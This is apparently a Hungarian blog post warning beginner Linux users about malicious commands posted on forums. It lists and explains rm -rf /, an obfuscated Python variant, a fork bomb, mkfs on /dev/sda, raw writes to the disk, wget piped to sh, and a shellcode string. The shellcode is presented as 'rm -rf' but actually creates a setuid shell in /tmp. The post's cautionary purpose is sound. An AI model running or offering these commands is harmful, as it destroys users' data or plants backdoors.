htibi.ro by: Heim Tibor

Amiről jó, ha tudunk

A különböző Linuxos fórumokon nagyon sok és sokféle ember fordul meg. Csak úgy röpködnek a segítségül beírt parancsok, mellettük a felhívás: másold ki, terminálba be, aztán Enter. Nincs is ezzel semmi gond, de ha nem ismerjük az adott parancsot, elég nagy felelőtlenség futtatni.

Egy régi ubuntu.hu-s fórumbejegyzésben botlottam bele a következő néhány parancsba. Egyik „hasznosabb”, mint a másik, sok kellemetlen percet szerezhetnek a felhasználóiknak.

Azt érdemes megjegyezni minden (főleg kezdő) Linuxot használónak, hogy semmilyen parancsot nem szabad lefuttatni addig, amíg nem tudjuk biztosan, hogy mit csinál az adott parancs.

Akkor most lássunk néhány kedves kis kódot:

rm -rf /

Kérdezés nélkül, mindent töröl a gyökérmappából (vagyis az egész rendszert). Ha majd telepíteni akarok, előtte kipróbálom. :-)

A következő a hexadecimális verziója (máshol C-ben írt verzióként szerepel, egy programozó talán tudja pontosan) az „rm -rf /” parancsnak. Szép cifra. Jelentkezzen az a Linuxot használó, aki naponta ilyen kódokat használ, és kapásból tudja mit takarnak ezek a sorok:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Hogy legyen egy kígyós (:-)) verzió is, itt egy megoldása Python segítségével:

python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' 

Nekem a következő változat tetszik a legjobban, még magyarázatot is kap a kérdező, hogy tudja mi, mit csinál a parancsban (:-)):

Hogyan keressünk Linux alatt RealMedia fájlokat?
rm -f /
Magyarázat:
rm = Real Media
-f = full (az összeset)
/ = az egész lemezen

Ugye milyen kedves? Habár az r (recursive) hiányzik belőle.

...

A következő parancs is tud kellemetlen perceket okozni:

mkfs.ext3 /dev/sda

Formázza (végül is törli az összes fájlt) az adott partíciót. A jobbik eset, ha csak a rendszer vész oda, de ha történetesen az /sda-n a legféltettebb adataink vannak, akkor vakarhatjuk a fejünket (csak szálka ne menjen a körmünk alá, ráadásnak).

...

Az alábbi kód egy „forkbomb”, alaposan megdolgoztatja a rendszert, méghozzá addig, amíg le nem fagy a gép. Gyakran adatvesztés a vége.

:(){:|:&};:

...

Egy partíciót szépen teleírhatsz nyers adatokkal, ami a fájlrendszert tönkreteszi, ezzel el is búcsúzhatsz az ott „volt” adatoktól:

bármilyen parancs > /dev/sda

...

Ismeretlen, nem megbízható forrásból eredő programot/szkriptet letölteni és futtatni életveszélyes lehet:

wget http://valamilyen_nem_megbízható_forrás -O- | sh

...

Ez pedig segít megszabadulni a gondosan összegyűjtött dolgaidtól, és tisztára söpri a felhasználói mappádat. Minden fájlt áthelyez egy olyan helyre, ahonnan soha többé nem lehet visszakapni:

mv /home/home_mappád/* /dev/null

...

Természetesen, többnyire szükség van a felhasználó hathatós segítségére (például rendszergazda mód), de a vicces kedvű segíteni akarók gondoskodnak erről is (ha tehetik).

> | < © Heim Tibor > | < Az oldal elkészült 0.0052 másodperc alatt. > | < Valid HTML5 > | < Valid CSS > | <